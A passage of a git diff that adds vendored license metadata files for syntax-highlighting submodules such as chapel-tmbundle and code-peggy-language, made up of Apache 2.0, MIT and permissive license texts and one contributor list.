+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/ceylon-sublimetext.dep.yml b/vendor/licenses/git_submodule/ceylon-sublimetext.dep.yml
new file mode 100644
index 0000000000..57d7f52ea5
--- /dev/null
+++ b/vendor/licenses/git_submodule/ceylon-sublimetext.dep.yml
@@ -0,0 +1,209 @@
+---
+type: git_submodule
+name: ceylon-sublimetext
+version: 0ee3154f3795ff03050ee678a37e6b0afb899069
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Jean-Charles Roger
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/chapel-tmbundle.dep.yml b/vendor/licenses/git_submodule/chapel-tmbundle.dep.yml
new file mode 100644
index 0000000000..a4987de494
--- /dev/null
+++ b/vendor/licenses/git_submodule/chapel-tmbundle.dep.yml
@@ -0,0 +1,211 @@
+---
+name: chapel-tmbundle
+version: f2a1430b12937577875d7562e9b717b76d4d36d7
+type: git_submodule
+homepage: https://github.com/chapel-lang/chapel-tmbundle
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2012-2014 Brandon Holt
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/circom-highlighting-vscode.dep.yml b/vendor/licenses/git_submodule/circom-highlighting-vscode.dep.yml
new file mode 100644
index 0000000000..f7c88cee0d
--- /dev/null
+++ b/vendor/licenses/git_submodule/circom-highlighting-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: circom-highlighting-vscode
+version: 1e292d5457d9ba3a3e9832b5e4378cdd65a6cfb7
+type: git_submodule
+homepage: https://github.com/iden3/circom-highlighting-vscode.git
+license: mit
+licenses:
+- sources: COPYING
+  text: |-
+    MIT License
+
+    Copyright (c) 2022 0Kims Association <https://0kims.org>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/clarity.tmbundle.dep.yml b/vendor/licenses/git_submodule/clarity.tmbundle.dep.yml
new file mode 100644
index 0000000000..7e857a580a
--- /dev/null
+++ b/vendor/licenses/git_submodule/clarity.tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+name: clarity.tmbundle
+version: 52508cc05304780d80a5dc817fcc35c6760c5459
+type: git_submodule
+homepage: https://github.com/hirosystems/clarity.tmbundle.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cmake.tmbundle.dep.yml b/vendor/licenses/git_submodule/cmake.tmbundle.dep.yml
new file mode 100644
index 0000000000..7809d4d9ce
--- /dev/null
+++ b/vendor/licenses/git_submodule/cmake.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: cmake.tmbundle
+version: 1421c6ba47ba697742d615e92852cfe106e0879e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/code-peggy-language.dep.yml b/vendor/licenses/git_submodule/code-peggy-language.dep.yml
new file mode 100644
index 0000000000..c0b2b7cce1
--- /dev/null
+++ b/vendor/licenses/git_submodule/code-peggy-language.dep.yml
@@ -0,0 +1,44 @@
+---
+name: code-peggy-language
+version: 64d03aca228ce39383064141633a5dac6543dbde
+type: git_submodule
+homepage: https://github.com/peggyjs/code-peggy-language.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Tobias Kahlert
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices:
+- sources: AUTHORS
+  text: |-
+    # Original Author:
+    Tobias Kahlert <code.databyte@gmail.com> (https://github.com/SrTobi/)
+
+    # Current maintainer:
+    Joe Hildebrand <joe-github@cursive.net> (https://github.com/hildjj/)
+
+    # Contributors
+    Sven Slootweg <admin@cryto.net> (https://github.com/joepie91/)
+    yy0931 (https://github.com/yy0931)
+    Rene Saarsoo <nene@triin.net> (https://github.com/nene/)
+    Lionel Rowe (https://github.com/lionel-rowe/)
diff --git a/vendor/licenses/git_submodule/common-lisp-tmlanguage.dep.yml b/vendor/licenses/git_submodule/common-lisp-tmlanguage.dep.yml
new file mode 100644
index 0000000000..b1bb869c5e
--- /dev/null
+++ b/vendor/licenses/git_submodule/common-lisp-tmlanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: common-lisp-tmlanguage
+version: f93657d2bee076f2e4e6e1be5cc3f64942ff8507
+type: git_submodule
+homepage: https://github.com/qingpeng9802/common-lisp-tmlanguage.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    MIT License
+
+    Copyright (c) 2020 Qingpeng Li
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/conllu-linguist-grammar.dep.yml b/vendor/licenses/git_submodule/conllu-linguist-grammar.dep.yml
new file mode 100644
index 0000000000..a3c00fdc79
--- /dev/null
+++ b/vendor/licenses/git_submodule/conllu-linguist-grammar.dep.yml
@@ -0,0 +1,209 @@
+---
+type: git_submodule
+name: conllu-linguist-grammar
+version: e9710323ce3e41afb3723c936d65597ed8cb684e
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
